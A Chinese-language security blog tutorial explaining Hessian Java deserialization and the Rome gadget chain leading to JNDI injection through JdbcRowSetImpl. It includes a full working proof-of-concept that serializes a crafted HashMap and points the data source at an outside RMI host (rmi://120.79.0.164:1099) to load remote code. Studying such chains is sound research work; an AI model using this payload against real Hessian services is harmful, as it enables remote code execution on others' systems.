# 简介
Hessian 是一个轻量级的 Java 反序列化框架,和 Java 原生的序列化类似,相比起来 Hessian 更加高效并且非常适合二进制数据传输。
可以在 pom.xml 中加入依赖来使用 Hessian:
<dependency> | |
<groupId>com.caucho</groupId> | |
<artifactId>hessian</artifactId> | |
<version>4.0.63</version> | |
</dependency> |
一个简单的 demo
Student.java
import java.io.Serializable; | |
public class Student implements Serializable { | |
private String name; | |
public static String hobby = "eat"; | |
transient private String address; | |
public void setName(String name) { | |
this.name = name; | |
} | |
public static void setHobby(String hobby) { | |
Student.hobby = hobby; | |
} | |
public void setAddress(String address) { | |
this.address = address; | |
} | |
public String getName() { | |
return name; | |
} | |
public static String getHobby() { | |
return hobby; | |
} | |
public String getAddress() { | |
return address; | |
} | |
} |
demo.java
import com.caucho.hessian.io.Hessian2Input; | |
import com.caucho.hessian.io.Hessian2Output; | |
import java.io.ByteArrayInputStream; | |
import java.io.ByteArrayOutputStream; | |
public class demo { | |
public static void main(String[] args) throws Exception{ | |
Student stu = new Student(); | |
stu.setAddress("A"); | |
stu.setName("miku"); | |
ByteArrayOutputStream os = new ByteArrayOutputStream(); | |
Hessian2Output output = new Hessian2Output(os); | |
output.writeObject(stu); | |
output.close(); | |
Student.hobby = "drink"; | |
ByteArrayInputStream bis = new ByteArrayInputStream(os.toByteArray()); | |
Hessian2Input input = new Hessian2Input(bis); | |
Student student = (Student) input.readObject(); | |
System.out.println(student.getAddress()); | |
System.out.println(student.getName()); | |
System.out.println(stu.getHobby()); | |
} | |
} |
从结果可以得出以下结论:
- 静态属性不能被序列化
- transient 关键字修饰的属性不能被序列化
# 反序列化漏洞
Hessian 不会调用序列化类的 readObject 方法,它会调用 readResolve 方法, 而这个方法一般是用在单例模式中的。
Hessian 在恢复对象的属性的时候,不会调用该类的 setter,恢复方式是调用 _unsafe.putObject。
Hessian 会将数据序列化为一个 Map,序列化之后的数据大致如下(URL 编码后):
Mt%00%0Astudy.DataS%00%04dataS%00%06Twingsz |
Hessian 反序列化同样存在漏洞,不过入口点与 Java 原生序列化的 readObject 方法不同,它的入口点在对 Map 类型反序列化处理时:
public Object readMap(AbstractHessianInput in) throws IOException { | |
Map map; | |
if (_type == null) | |
map = new HashMap(); | |
else if (_type.equals(Map.class)) | |
map = new HashMap(); | |
else if (_type.equals(SortedMap.class)) | |
map = new TreeMap(); | |
else { | |
try { | |
map = (Map) _ctor.newInstance(); | |
} catch (Exception e) { | |
throw new IOExceptionWrapper(e); | |
} | |
} | |
in.addRef(map); | |
while (! in.isEnd()) { | |
map.put(in.readObject(), in.readObject()); | |
} | |
in.readEnd(); | |
return map; | |
} |
这里会调用 HashMap 的 put 方法,换而言之就是会调用 key 的 hashcode 方法,所以只要找到一条以 hashcode 开始的利用链,就可以完成一次 Hessian 反序列化攻击。
marshalsec 工具中已经集成了 Hessian 的 5 个 Gadgets,可以使用这个工具直接进行漏洞利用。
不过这个工具的生成流程着实比较复杂,看起来要麻烦一些。
# Gadgets - Rome
# 依赖
<dependency> | |
<groupId>com.rometools</groupId> | |
<artifactId>rome</artifactId> | |
<version>1.7.0</version> | |
</dependency> | |
<dependency> | |
<groupId>org.slf4j</groupId> | |
<artifactId>slf4j-nop</artifactId> | |
<version>1.7.24</version> | |
</dependency> |
# 利用链
HashMap.put -> hash | |
EqualsBean.hashCode -> beanHashCode | |
ToStringBean.toString -> getter.invoke | |
JdbcRowSetImpl.getDatabaseMetaData -> connect | |
JNDI 注入 |
# JdbcRowSetImpl.connect
因为这里 transient
关键字修饰的属性不能被序列化,所以不能利用 TemplatesImpl
加载恶意代码
这里会因为 _tfactory
为空而报错
所以我们利用 JdbcRowSetImpl
,看到它的 connect
方法,这里调用了 lookup
函数,可以用来 jndi
注入
看一下 getDataSourceName
那么让 dataSource
为 rmi 或者 ldap 都行
找一下哪里调用了 connect
# JdbcRowSetImpl.getDatabaseMetaData
这个方法恰好是 getter
方法
那么前面部分和 rome 反序列化一样,后面调用 JdbcRowSetImpl.getDatabaseMetaData
即可
我们看一下 JdbcRowSetImpl
的构造函数
没用,但是找到另一个方法
测试 demo
远程启动 rmi 服务
demo.java
import com.sun.rowset.JdbcRowSetImpl; | |
import java.lang.reflect.Field; | |
public class demo { | |
public static void setValue(Object target, String name, Object value) throws Exception { | |
Class c = target.getClass(); | |
Field field = c.getDeclaredField(name); | |
field.setAccessible(true); | |
field.set(target,value); | |
} | |
public static void main(String[] args) throws Exception{ | |
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); | |
jdbcRowSet.setDataSourceName("rmi://120.79.0.164:1099/dp2ubq"); | |
jdbcRowSet.getDatabaseMetaData(); | |
} | |
} |
# 漏洞分析
从 readObject
进入
进入 readMap
进入 readMap
跟进 ((Map)map).put(in.readObject(), in.readObject())
中 put 函数
这里获取到的key和value的值都为`EqualsBean`实例化对象。
该位置去调用hash方法去计算hashcode的值
可以看到这里的 key
是 EuqalsBean
, 将进入 EuqalsBean
的 hashCode
方法
跟进
继续
调用 this.toString
反射调用 this.obj 的 getDatabaseMetaData
方法
看一下这个方法
这里触发了 lookup,后面的就不说了
# POC
远程启动 rmi 服务
import com.caucho.hessian.io.Hessian2Input; | |
import com.caucho.hessian.io.Hessian2Output; | |
import com.rometools.rome.feed.impl.EqualsBean; | |
import com.rometools.rome.feed.impl.ToStringBean; | |
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; | |
import com.sun.rowset.JdbcRowSetImpl; | |
import javax.xml.transform.Templates; | |
import java.io.ByteArrayInputStream; | |
import java.io.ByteArrayOutputStream; | |
import java.lang.reflect.Field; | |
import java.util.HashMap; | |
public class demo { | |
public static void setValue(Object target, String name, Object value) throws Exception { | |
Class c = target.getClass(); | |
Field field = c.getDeclaredField(name); | |
field.setAccessible(true); | |
field.set(target,value); | |
} | |
public static void main(String[] args) throws Exception{ | |
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); | |
jdbcRowSet.setDataSourceName("rmi://120.79.0.164:1099/dp2ubq"); | |
//jdbcRowSet.getDatabaseMetaData(); | |
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, new JdbcRowSetImpl()); | |
//toStringBean.toString(); | |
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean); | |
//equalsBean.hashCode(); | |
HashMap<Object, Object> map = new HashMap<>(); | |
map.put(equalsBean, "bbb"); | |
setValue(toStringBean, "obj", jdbcRowSet); | |
ByteArrayOutputStream os = new ByteArrayOutputStream(); | |
Hessian2Output output = new Hessian2Output(os); | |
output.writeObject(map); | |
output.close(); | |
ByteArrayInputStream bis = new ByteArrayInputStream(os.toByteArray()); | |
Hessian2Input input = new Hessian2Input(bis); | |
input.readObject(); | |
} | |
} |